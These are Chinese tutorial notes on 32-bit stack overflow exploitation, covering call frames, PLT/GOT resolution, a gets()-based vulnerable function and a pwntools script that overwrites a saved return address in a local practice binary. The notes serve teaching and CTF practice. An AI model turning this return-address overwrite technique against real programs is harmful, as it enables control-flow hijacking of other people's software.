栈溢出漏洞
函数调用过程:
父函数干的事情:
1)参数压栈,push &1, push&2 …
2)调用call指令,这里call等价于push EIP,jmp XXX; 如果是lcall,那么等价于push CS, push EIP, jmp XXX,即保存函数返回后下一条指令地址,并转移到被调用函数指令
3)保存“调用者”栈基地址,push ebp
4)设置新的“被调用者”的栈基地址,mov ebp, esp
5)执行函数。
6)栈顶指针指向“被调用者”栈底 mov esp, ebp
7)还原“调用者”帧栈基址,pop ebp
8)还原函数返回后下一条指令地址,并根据调用方式决定是否清理参数帧栈,
ret或ret n,也等价于pop EIP或 pop EIP, add esp, n。
动态链接过程
- 相关知识:
.got :保存全局变量地址
.got.plt: 保存全局函数真实地址
获取数据段存放函数地址的那一小段代码称为PLT(Procedure Linkage Table,过程链接表)
plt表位于代码段
存放函数地址的数据段称为GOT(Global Offset Table,全局偏移表)。
got表位于数据段
plt的内容:
jmp *(函数名@got)
push 函数在plt中的表项
jmp plt表的开始>plt[0]一个内存地址代表一个字节(8bit)的存储空间。
一个内存地址代表一个字节(8bit)的存储空间。
- 调用过程:
- 进程首次调用foo
- 跳转到.plt中的foo表项
.plt中的代码立即跳转到.got.plt中记录的地址,* 取got表项中的地址
- 由于进程是第一次调用foo
故.got.plt中记录的地址是**foo@plt+1,所以回到了plt 表**
- 回到.plt是为了解析foo的实际地址
- 跳转到.plt头部->PLT0,为__dl_runtime_resolve函数传参
- __dl_runtime_resolve函数解析foo的真正地址填入.got.plt中
1 进程第二次调用foo
2 直接自.got.plt跳转到foo的真实地址,没有了第一次的解析过程
- .plt是libc函数地址的填写者,.got.plt是函数地址的保存者
栈溢出流程
对于栈帧,栈是拉伸书架,开辟空间,增栈sp减,减栈sp加;在调试的gdb中,栈是上开口,数据流就像水一样留下来
画图:
低 esp <=========================== ebp 高
0x1. 概览:

#栈介绍
栈是一种典型的后进先出 (Last in First Out) 的数据结构,其操作主要有压栈 (push) 与出栈 (pop) 两种操作。两种操作都操作栈顶,当然,它也有栈底。
栈的结构如图:

0x2. 32位栈溢出原理
栈从高地址向低地址生长,数据都是从低地址向高地址装填,采用小端序存储(即低地址存放低字节,高地址存放高字节)。
由于分配内存时是通过esp-分配的大小,指针位于低地址,所以填写数据仍是向上写。(比如局部变量int型,esp-4,栈就开拓4字节,使用危险函数填充超过4字节,就向上溢出)
简单栈溢出32位示例:
int vulnerable()
{
char s; // [sp+4h] [bp-14h]@1
gets(&s);
return puts(&s);
}该字符串距离 ebp 的长度为 0x14,那么相应的栈结构为
high +-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
(ebp-0x14)s,-->+-----------------+构造的payload为:
0x14*b'a'+b'bbbb'+success_addr那么,由于 gets 会读到回车才算结束,所以我们可以直接读取所有的字符串,并且将 saved ebp 覆盖为 bbbb,将 retaddr 覆盖为 success_addr,即,此时的栈结构为
+-----------------+
| 0x0804843B |
+-----------------+
| bbbb |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s,ebp-0x14-->+-----------------+但是需要注意的是,由于在计算机内存中,每个值都是按照字节存储的。一般情况下都是采用小端存储,即 0x0804843B 在内存中的形式是
\x3b\x84\x04\x08但是,我们又不能直接在终端将这些字符给输入进去,在终端输入的时候 \,x 等也算一个单独的字符。所以我们需要想办法将 \x3b 作为一个字符输入进去。那么此时我们就需要使用一波 pwntools 了 (关于如何安装以及基本用法,请自行 github),这里利用 pwntools 的代码如下:
##coding=utf8
from pwn import *
## 构造与程序交互的对象
sh = process('./stack_example')
success_addr = 0x0804843b
## 构造payload
payload = b'a' * 0x14 + b'bbbb' + p32(success_addr)
print(p32(success_addr))
## 向程序发送字符串
sh.sendline(payload)
## 将代码交互转换为手工交互
sh.interactive()0x3. 小总结
1.寻找危险函数
通过寻找危险函数,我们快速确定程序是否可能有栈溢出,以及有的话,栈溢出的位置在哪里。常见的危险溢出函数如下
- 输入
- gets,直接读取一行,忽略’\x00’
- scanf(“%s”)无限制长度输入数据
- vscanf
- read(0,buf,0x100)
- 输出
- sprintf(str, “str is: %s”,buf);
- 字符串
- strcpy,字符串复制,遇到’\x00’停止 , 字符串的复制越界复制
- strcat,字符串拼接,遇到’\x00’停止
- bcopy
2.确定填充长度
这一部分主要是计算我们所要操作的地址与我们所要覆盖的地址的距离。常见的操作方法就是打开 IDA,根据其给定的地址计算偏移。一般变量会有以下几种索引模式
- 相对于栈基地址的的索引,可以直接通过查看与 EBP 相对偏移获得
- 相对应栈顶指针的索引,一般需要进行调试,之后还是会转换到第一种类型。
- 直接地址索引,就相当于直接给定了地址。
一般来说,我们会有如下的覆盖需求
- 覆盖函数返回地址,这时候就是直接看 EBP 即可。
- 覆盖栈上某个变量的内容,这时候就需要更加精细的计算了。
- 覆盖 bss 段某个变量的内容。
- 根据现实执行情况,覆盖特定的变量或地址的内容。
之所以我们想要覆盖某个地址,是因为我们想通过覆盖地址的方法来直接或者间接地控制程序执行流程。